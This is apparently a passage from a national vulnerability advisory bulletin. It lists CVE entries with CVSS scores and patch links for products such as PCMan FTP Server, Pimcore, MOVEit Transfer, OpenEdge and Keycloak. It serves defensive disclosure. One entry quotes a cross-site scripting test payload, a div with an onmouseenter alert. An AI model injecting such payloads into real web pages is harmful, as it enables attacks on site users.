Cross-Site Request Forgery (CSRF)	29-Jan-2024	5.4	The WP Plugin Lister WordPress plugin through 2.1.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack. **CVE ID : CVE-2023-6503**	N/A	A-PAU-WP_P-140224/969
Vendor: pb-cms_project					
Product: pb-cms					
Affected Version(s): 2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	22-Jan-2024	5.4	A vulnerability, which was classified as problematic, has been found in LinZhaoguan pb-cms 2.0. Affected by this issue is some unknown functionality of the component	N/A	A-PB--PB-C-140224/970

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Comment Handler. The manipulation with the input <div onmouseenter="alert("xss)"> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251678 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0776**		
Vendor: pcman_ftp_server_project					
Product: pcman_ftp_server					
Affected Version(s): 2.0.7					
Improper Resource Shutdown or Release	16-Jan-2024	7.5	A vulnerability was found in PCMan FTP Server 2.0.7. It has been classified as problematic. This affects an unknown part of the component USER Command Handler. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this	N/A	A-PCM-PCMA-140224/971

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability is VDB-250719. **CVE ID : CVE-2021-4432**		
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	19-Jan-2024	7.5	A vulnerability has been found in PCMan FTP Server 2.0.7 and classified as problematic. This vulnerability affects unknown code of the component PUT Command Handler. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251554 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0731**	N/A	A-PCM-PCMA-140224/972
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	19-Jan-2024	7.5	A vulnerability was found in PCMan FTP Server 2.0.7 and classified as problematic. This issue affects some unknown processing of the component STOR Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The	N/A	A-PCM-PCMA-140224/973

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251555. **CVE ID : CVE-2024-0732**		
Vendor: peepso					
Product: peepso					
Affected Version(s): * Up to (excluding) 6.3.1.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The Community by PeepSo WordPress plugin before 6.3.1.2 does not sanitise and escape various parameters and generated URLs before outputting them back attributes, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin **CVE ID : CVE-2024-0187**	N/A	A-PEE-PEEP-140224/974
Cross-Site Request Forgery (CSRF)	16-Jan-2024	4.3	The Community by PeepSo WordPress plugin before 6.3.1.2 does not have CSRF check when creating a user post (visible on their wall in their profile page), which could allow	N/A	A-PEE-PEEP-140224/975

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attackers to make logged in users perform such action via a CSRF attack **CVE ID : CVE-2023-7125**		
Vendor: peteroupc					
Product: cbor					
Affected Version(s): From (including) 4.0.0 Up to (excluding) 4.5.1					
Inefficient Algorithmic Complexity	19-Jan-2024	7.5	Inefficient algorithmic complexity in DecodeFromBytes function in com.upokecenter.cbor Java implementation of Concise Binary Object Representation (CBOR) versions 4.0.0 to 4.5.1 allows an attacker to cause a denial of service by passing a maliciously crafted input. Depending on an application's use of this library, this may be a remote attacker. **CVE ID : CVE-2024-23684**	https://github.com/peteroupc/CBOR-Java/security/advisories/GHSA-fj2w-wfgv-mwq6	A-PET-CBOR-140224/976
Vendor: phpgurukul					
Product: company_visitor_management_system					
Affected Version(s): 1.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	18-Jan-2024	7.2	A vulnerability was found in PHPGurukul Company Visitor Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file search-visitor.php. The manipulation leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251377 was assigned to this vulnerability. **CVE ID : CVE-2024-0651**	N/A	A-PHP-COMP-140224/977
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	4.8	A vulnerability was found in PHPGurukul Company Visitor Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file search-visitor.php. The manipulation leads to cross site	N/A	A-PHP-COMP-140224/978

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251378 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0652**		
Vendor: Pimcore					
Product: admin_classic_bundle					
Affected Version(s): * Up to (excluding) 1.2.3					
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	24-Jan-2024	8.8	Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The password reset functionality sends to the the user requesting a password change an email containing an URL to reset its password. The URL sent contains a unique token, valid during 24 hours, allowing the user to reset its password. This token is highly sensitive ; as an attacker able to retrieve it would be able to resets the user's password. Prior to	https://github.com/pimcore/admin-ui-classic-bundle/commit/70f2205b5a5ea9584721d4f3e803f4d0dd5e4655, https://github.com/pimcore/admin-ui-classic-bundle/security/advisories/GHSA-mrqg-mwh7-q94j	A-PIM-ADMI-140224/979

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			version 1.2.3, the reset-password URL is crafted using the "Host" HTTP header of the request sent to request a password reset. This way, an external attacker could send password requests for users, but specify a "Host" header of a website that they control. If the user receiving the mail clicks on the link, the attacker would retrieve the reset token of the victim and perform account takeover. Version 1.2.3 fixes this issue. **CVE ID : CVE-2024-23648**		
Affected Version(s): From (including) 1.0.0 Up to (excluding) 1.3.2					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	24-Jan-2024	8.8	Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any	https://github.com/pimcore/admin-ui-classic-bundle/commit/363afef29496cc40a8b863c2ca2338979fcf50a8, https://github.com/pimcore/admin-ui-classic-bundle/security/advisories/GHSA-cwx6-4wmf-c6xv	A-PIM-ADMI-140224/980

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue. **CVE ID : CVE-2024-23646**		
Vendor: piwebsolution					
Product: product_enquiry_for_woocommerce					
Affected Version(s): * Up to (excluding) 3.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The Product Enquiry for WooCommerce WordPress plugin before 3.2 does not sanitise and escape the page parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin **CVE ID : CVE-2023-7151**	N/A	A-PIW-PROD-140224/981
Vendor: Plone					
Product: plone					
Affected Version(s): * Up to (excluding) 6.0.7					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of Rendered UI Layers or Frames	18-Jan-2024	7.1	A Cross-Frame Scripting vulnerability has been found on Plone CMS affecting verssion below 6.0.5. An attacker could store a malicious URL to be opened by an administrator and execute a malicios iframe element. **CVE ID : CVE-2024-0669**	N/A	A-PLO-PLON-140224/982
Product: plone_docker_official_image					
Affected Version(s): 5.2.13					
N/A	25-Jan-2024	6.1	An issue in Plone Docker Official Image 5.2.13 (5221) open-source software allows for remote code execution via improper validation of input by the HOST headers. **CVE ID : CVE-2024-23055**	N/A	A-PLO-PLON-140224/983
Vendor: pluginus					
Product: fox_-_currency_switcher_professional_for_woocommerce					
Affected Version(s): * Up to (excluding) 1.3.7					
N/A	16-Jan-2024	8.8	The WooCommerce Currency Switcher FOX WordPress plugin before 1.3.7 was vulnerable to	N/A	A-PLU-FOX_-140224/984

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			LFI attacks via the "woocs" shortcode. **CVE ID : CVE-2021-24566**		
Vendor: Pluxml					
Product: pluxml					
Affected Version(s): 5.8.9					
N/A	25-Jan-2024	8.8	PluXml Blog v5.8.9 was discovered to contain a remote code execution (RCE) vulnerability in the Static Pages feature. This vulnerability is exploited via injecting a crafted payload into the Content field. **CVE ID : CVE-2024-22636**	N/A	A-PLU-PLUX-140224/985
Vendor: poikosoft					
Product: ez_cd_audio_converter					
Affected Version(s): 8.0.7					
Improper Resource Shutdown or Release	25-Jan-2024	5.5	A vulnerability classified as problematic was found in Poikosoft EZ CD Audio Converter 8.0.7. Affected by this vulnerability is an unknown functionality of the component Activation Handler. The manipulation of the argument Key leads to denial of service. Local access is required	N/A	A-POI-EZ_C-140224/986

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to approach this attack. The exploit has been disclosed to the public and may be used. The identifier VDB-252037 was assigned to this vulnerability. **CVE ID : CVE-2024-0886**		
Vendor: popsdiabetes					
Product: rebel					
Affected Version(s): 5.0					
Cleartext Transmission of Sensitive Information	20-Jan-2024	4.3	The POPS! Rebel application 5.0 for Android, in POPS! Rebel Bluetooth Glucose Monitoring System, sends unencrypted glucose measurements over BLE. **CVE ID : CVE-2023-46447**	N/A	A-POP-REBE-140224/987
Vendor: postman					
Product: postman					
Affected Version(s): * Up to (excluding) 10.22					
N/A	28-Jan-2024	9.8	An issue in Postman version 10.22 and before on macOS allows a remote attacker to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments settings.	N/A	A-POS-POST-140224/988

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23738		
Vendor: Prestashop					
Product: advanced_loyalty_program					
Affected Version(s): * Up to (excluding) 2.3.4					
Missing Authorization	16-Jan-2024	5.3	An issue in 202 ecommerce Advanced Loyalty Program: Loyalty Points before v2.3.4 for PrestaShop allows unauthenticated attackers to arbitrarily change an order status. **CVE ID : CVE-2023-48926**	N/A	A-PRE-ADVA-140224/989
Vendor: prestashopmodules					
Product: sliding_cart_block					
Affected Version(s): * Up to (excluding) 2.3.8					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	In the module "Sliding cart block" (blockslidingcart) up to version 2.3.8 from PrestashopModules.eu for PrestaShop, a guest can perform SQL injection. **CVE ID : CVE-2023-50028**	https://security.friendsofpresta.org/modules/2024/01/16/blockslidingcart.html	A-PRE-SLID-140224/990
Vendor: processwire					
Product: processwire					
Affected Version(s): 3.0.210					
N/A	24-Jan-2024	7.2	An issue found in Processwire 3.0.210 allows	N/A	A-PRO-PROC-140224/991

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attackers to execute arbitrary code and install a reverse shell via the download_zip_url parameter when installing a new module. **CVE ID : CVE-2023-24676**		
Vendor: Progress					
Product: moveit_transfer					
Affected Version(s): * Up to (excluding) 2022.0.10					
N/A	17-Jan-2024	7.1	In Progress MOVEit Transfer versions released before 2022.0.10 (14.0.10), 2022.1.11 (14.1.11), 2023.0.8 (15.0.8), 2023.1.3 (15.1.3), an input validation issue was discovered. An authenticated user can manipulate a parameter in an HTTPS transaction. The modified transaction could lead to computational errors within MOVEit Transfer and potentially result in a denial of service.	https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-January-2024	A-PRO-MOVE-140224/992

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0396		
Affected Version(s): From (including) 2022.1.0 Up to (excluding) 2022.1.11					
N/A	17-Jan-2024	7.1	In Progress MOVEit Transfer versions released before 2022.0.10 (14.0.10), 2022.1.11 (14.1.11), 2023.0.8 (15.0.8), 2023.1.3 (15.1.3), an input validation issue was discovered. An authenticated user can manipulate a parameter in an HTTPS transaction. The modified transaction could lead to computational errors within MOVEit Transfer and potentially result in a denial of service. **CVE ID : CVE-2024-0396**	https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-January-2024	A-PRO-MOVE-140224/993
Affected Version(s): From (including) 2023.0.1 Up to (excluding) 2023.0.8					
N/A	17-Jan-2024	7.1	In Progress MOVEit Transfer versions released before 2022.0.10 (14.0.10),	https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-January-2024	A-PRO-MOVE-140224/994

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			2022.1.11 (14.1.11), 2023.0.8 (15.0.8), 2023.1.3 (15.1.3), an input validation issue was discovered. An authenticated user can manipulate a parameter in an HTTPS transaction. The modified transaction could lead to computational errors within MOVEit Transfer and potentially result in a denial of service. **CVE ID : CVE-2024-0396**		
Affected Version(s): From (including) 2023.1.0 Up to (excluding) 2023.1.3					
N/A	17-Jan-2024	7.1	In Progress MOVEit Transfer versions released before 2022.0.10 (14.0.10), 2022.1.11 (14.1.11), 2023.0.8 (15.0.8), 2023.1.3 (15.1.3), an input validation issue was discovered. An authenticated user can manipulate a parameter in an HTTPS transaction.	https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-January-2024	A-PRO-MOVE-140224/995

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			The modified transaction could lead to computational errors within MOVEit Transfer and potentially result in a denial of service. **CVE ID : CVE-2024-0396**		
Product: openedge					
Affected Version(s): From (including) 11.7 Up to (excluding) 11.7.18					
Unrestricted Upload of File with Dangerous Type	18-Jan-2024	9.9	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0. An attacker can formulate a request for a WEB transport that allows unintended file uploads to a server directory path on the system running PASOE. If the upload contains a payload that can further exploit the server or its network, the launch of a larger scale attack may be possible.	https://community.progress.com/s/article/Important-Progress-OpenEdge-Critical-Alert-for-Progress-Application-Server-in-OpenEdge-PASOE-Arbitrary-File-Upload-Vulnerability-in-WEB-Transport	A-PRO-OPEN-140224/996

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-40051		
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Jan-2024	7.5	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0 . An attacker who can produce a malformed web request may cause the crash of a PASOE agent potentially disrupting the thread activities of many web application clients. Multiple of these DoS attacks could lead to the flooding of invalid requests as compared to the server's remaining	https://community.progress.com/s/article/Important-Progress-OpenEdge-Product-Alert-for-Progress-Application-Server-for-OpenEdge-PASOE-Denial-of-Service-Vulnerability-in-WEB-Transport	A-PRO-OPEN-140224/997

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			ability to process valid requests. **CVE ID : CVE-2023-40052**		
Affected Version(s): From (including) 12.2 Up to (excluding) 12.2.13					
Unrestricted Upload of File with Dangerous Type	18-Jan-2024	9.9	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0. An attacker can formulate a request for a WEB transport that allows unintended file uploads to a server directory path on the system running PASOE. If the upload contains a payload that can further exploit the server or its network, the launch of a larger scale attack may be possible.	https://community.progress.com/s/article/Important-Progress-OpenEdge-Critical-Alert-for-Progress-Application-Server-in-OpenEdge-PASOE-Arbitrary-File-Upload-Vulnerability-in-WEB-Transport	A-PRO-OPEN-140224/998

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-40051		
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Jan-2024	7.5	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0 . An attacker who can produce a malformed web request may cause the crash of a PASOE agent potentially disrupting the thread activities of many web application clients. Multiple of these DoS attacks could lead to the flooding of invalid requests as compared to the server's remaining ability to process valid requests.	https://community.progress.com/s/article/Important-Progress-OpenEdge-Product-Alert-for-Progress-Application-Server-for-OpenEdge-PASOE-Denial-of-Service-Vulnerability-in-WEB-Transport	A-PRO-OPEN-140224/999

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-40052		
Product: openedge_innovation					
Affected Version(s): * Up to (excluding) 12.8.0					
Unrestricted Upload of File with Dangerous Type	18-Jan-2024	9.9	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0. An attacker can formulate a request for a WEB transport that allows unintended file uploads to a server directory path on the system running PASOE. If the upload contains a payload that can further exploit the server or its network, the launch of a larger scale attack may be possible.	https://community.progress.com/s/article/Important-Progress-OpenEdge-Critical-Alert-for-Progress-Application-Server-in-OpenEdge-PASOE-Arbitrary-File-Upload-Vulnerability-in-WEB-Transport	A-PRO-OPEN-140224/1000

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-40051		
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Jan-2024	7.5	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0 . An attacker who can produce a malformed web request may cause the crash of a PASOE agent potentially disrupting the thread activities of many web application clients. Multiple of these DoS attacks could lead to the flooding of invalid requests as compared to the server's remaining ability to process valid requests.	https://community.progress.com/s/article/Important-Progress-OpenEdge-Product-Alert-for-Progress-Application-Server-for-OpenEdge-PASOE-Denial-of-Service-Vulnerability-in-WEB-Transport	A-PRO-OPEN-140224/1001

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-40052		
Vendor: projectworlds					
Product: online_time_table_generator					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	19-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file course_ajax.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251553 was assigned to this vulnerability. **CVE ID : CVE-2024-0730**	N/A	A-PRO-ONLI-140224/1002
Product: visitor_management_system_in_php					
Affected Version(s): 1.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Privilege Management	25-Jan-2024	9.8	An issue in Projectworlds Vistor Management Systemin PHP v.1.0 allows a remtoe attacker to escalate privileges via a crafted script to the login page in the POST/index.php **CVE ID : CVE-2024-22922**	N/A	A-PRO-VISI-140224/1003
Vendor: properfraction					
Product: profilepress					
Affected Version(s): * Up to (excluding) 4.4.0					
Deserialization of Untrusted Data	19-Jan-2024	7.2	Deserialization of Untrusted Data vulnerability in ProfilePress Membership Team Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress.This issue affects Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress: from n/a through 4.3.2.	N/A	A-PRO-PROF-140224/1004

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-45083		
Vendor: prosshd					
Product: prosshd					
Affected Version(s): 1.2_20090726					
Improper Resource Shutdown or Release	19-Jan-2024	7.5	A vulnerability was found in ProSSHD 1.2 on Windows. It has been declared as problematic. This vulnerability affects unknown code. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251548. **CVE ID : CVE-2024-0725**	N/A	A-PRO-PROS-140224/1005
Vendor: provectus					
Product: ui					
Affected Version(s): From (including) 0.4.0 Up to (including) 0.7.1					
Improper Control of Generation of Code ('Code Injection')	25-Jan-2024	8.8	An issue discovered in provectus kafka-ui 0.4.0 through 0.7.1 allows remote attackers to execute arbitrary code via the q parameter of /api/clusters/local/topics/{topic}/messages.	N/A	A-PRO-UI-140224/1006

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52251		
Vendor: pubsubhubbub					
Product: websub					
Affected Version(s): * Up to (excluding) 3.2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	4.8	The "WebSub (FKA. PubSubHubbub)" plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin settings in all versions up to, and including, 3.1.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. **CVE ID : CVE-2024-0688**	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3024228%40pubsubhubbub&new=3024228%40pubsubhubbub&sfp_email=&sfph_mail=	A-PUB-WEBS-140224/1007
Vendor: pyload-ng_project					
Product: pyload-ng					
Affected Version(s): * Up to (excluding) 0.5.0b3.dev78					
Cross-Site Request Forgery (CSRF)	18-Jan-2024	8.8	pyLoad is a free and open-source Download Manager written in pure	https://github.com/pyload/pyload/commit/1374c824271cb7e	A-PYL-PYLO-140224/1008

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade. **CVE ID : CVE-2024-22416**	927740664d06d2e577624ca3e, https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc	
Vendor: qoders					
Product: upqode_google_maps					
Affected Version(s): * Up to (including) 1.0.5					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The UpQode Google Maps WordPress plugin through 1.0.5 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which	N/A	A-QOD-UPQO-140224/1009

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. **CVE ID : CVE-2023-0094**		
Vendor: quanticedgesolutions					
Product: category_discount_woocommerce					
Affected Version(s): * Up to (excluding) 4.13					
Missing Authorization	25-Jan-2024	5.3	The Category Discount Woocommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpcd_save_discount() function in all versions up to, and including, 4.12. This makes it possible for unauthenticated attackers to modify product category discounts that could lead to loss of revenue. **CVE ID : CVE-2024-0617**	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3026242%40woo-product-category-discount&new=3026242%40woo-product-category-discount&sfp_email=&sfph_mail=	A-QUA-CATE-140224/1010
Vendor: quantumcloud					
Product: ai_chatbot					
Affected Version(s): * Up to (excluding) 5.1.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Deserialization of Untrusted Data	24-Jan-2024	9.8	Deserialization of Untrusted Data vulnerability in QuantumCloud ChatBot with AI.This issue affects ChatBot with AI: from n/a through 5.1.0. **CVE ID : CVE-2024-22309**	N/A	A-QUA-AI_C-140224/1011
Vendor: quarkus					
Product: quarkus					
Affected Version(s): * Up to (excluding) 2.13.9					
Improper Handling of Exceptional Conditions	25-Jan-2024	9.8	A flaw was found in the json payload. If annotation based security is used to secure a REST resource, the JSON body that the resource may consume is being processed (deserialized) prior to the security constraints being evaluated and applied. This does not happen with configuration based security. **CVE ID : CVE-2023-6267**	https://access.redhat.com/security/cve/CVE-2023-6267, https://bugzilla.redhat.com/show_bug.cgi?id=2251155	A-QUA-QUAR-140224/1012
Affected Version(s): 2.13.9					
Improper Handling of Exceptiona	25-Jan-2024	9.8	A flaw was found in the json payload. If annotation based security is used to	https://access.redhat.com/security/cve/CVE-2023-6267,	A-QUA-QUAR-140224/1013

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
l Conditions			secure a REST resource, the JSON body that the resource may consume is being processed (deserialized) prior to the security constraints being evaluated and applied. This does not happen with configuration based security. **CVE ID : CVE-2023-6267**	https://bugzilla.redhat.com/show_bug.cgi?id=2251155	
Affected Version(s): 3.2.9					
Improper Handling of Exceptional Conditions	25-Jan-2024	9.8	A flaw was found in the json payload. If annotation based security is used to secure a REST resource, the JSON body that the resource may consume is being processed (deserialized) prior to the security constraints being evaluated and applied. This does not happen with configuration based security. **CVE ID : CVE-2023-6267**	https://access.redhat.com/security/cve/CVE-2023-6267, https://bugzilla.redhat.com/show_bug.cgi?id=2251155	A-QUA-QUAR-140224/1014
Affected Version(s): From (including) 3.0.0 Up to (excluding) 3.2.9					
Improper Handling of Exceptiona	25-Jan-2024	9.8	A flaw was found in the json payload. If annotation based security is used to	https://access.redhat.com/security/cve/CVE-2023-6267,	A-QUA-QUAR-140224/1015

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
l Conditions			secure a REST resource, the JSON body that the resource may consume is being processed (deserialized) prior to the security constraints being evaluated and applied. This does not happen with configuration based security. **CVE ID : CVE-2023-6267**	https://bugzilla.redhat.com/show_bug.cgi?id=2251155	
Vendor: quest-analytics					
Product: iqcrm					
Affected Version(s): 2023.9.5					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	22-Jan-2024	9.8	SQL Injection vulnerability in Quest Analytics LLC IQCRM v.2023.9.5 allows a remote attacker to execute arbitrary code via a crafted request to the Common.svc WSDL page. **CVE ID : CVE-2023-48118**	N/A	A-QUE-IQCR-140224/1016
Vendor: razormist					
Product: employee_management_system					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an	29-Jan-2024	7.2	A vulnerability was found in SourceCodester Employee Management System 1.0. It has	N/A	A-RAZ-EMPL-140224/1017

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
SQL Command ('SQL Injection')			been classified as critical. Affected is an unknown function of the file edit_profile.php. The manipulation of the argument txtfullname leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252276. **CVE ID : CVE-2024-1007**		
Unrestricted Upload of File with Dangerous Type	29-Jan-2024	7.2	A vulnerability was found in SourceCodester Employee Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file edit-photo.php of the component Profile Page. The manipulation leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier	N/A	A-RAZ-EMPL-140224/1018

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			VDB-252277 was assigned to this vulnerability. **CVE ID : CVE-2024-1008**		
Vendor: Redhat					
Product: keycloak					
Affected Version(s): * Up to (excluding) 22.0.7					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-KEYC-140224/1019
Product: migration_toolkit_for_applications					
Affected Version(s): 7.0					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-	A-RED-MIGR-140224/1020

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Affected Version(s): 6.0					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	A-RED-MIGR-140224/1021
Product: openshift_container_platform					
Affected Version(s): 4.11					
URL Redirection to Untrusted Site ('Open Redirect')	26-Jan-2024	6.1	A flaw was found in the redirect_uri validation logic in Keycloak. This issue may allow a bypass of otherwise explicitly allowed hosts. A successful attack may lead to	https://access.redhat.com/errata/RHSA-2023:7854, https://access.redhat.com/errata/RHSA-2023:7855, https://access.redhat.com/errata	A-RED-OPEN-140224/1022

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			an access token being stolen, making it possible for the attacker to impersonate other users. **CVE ID : CVE-2023-6291**	ta/RHSA-2023:7856, https://access.redhat.com/errata/RHSA-2023:7857, https://access.redhat.com/errata/RHSA-2023:7858	
Affected Version(s): 4.12					
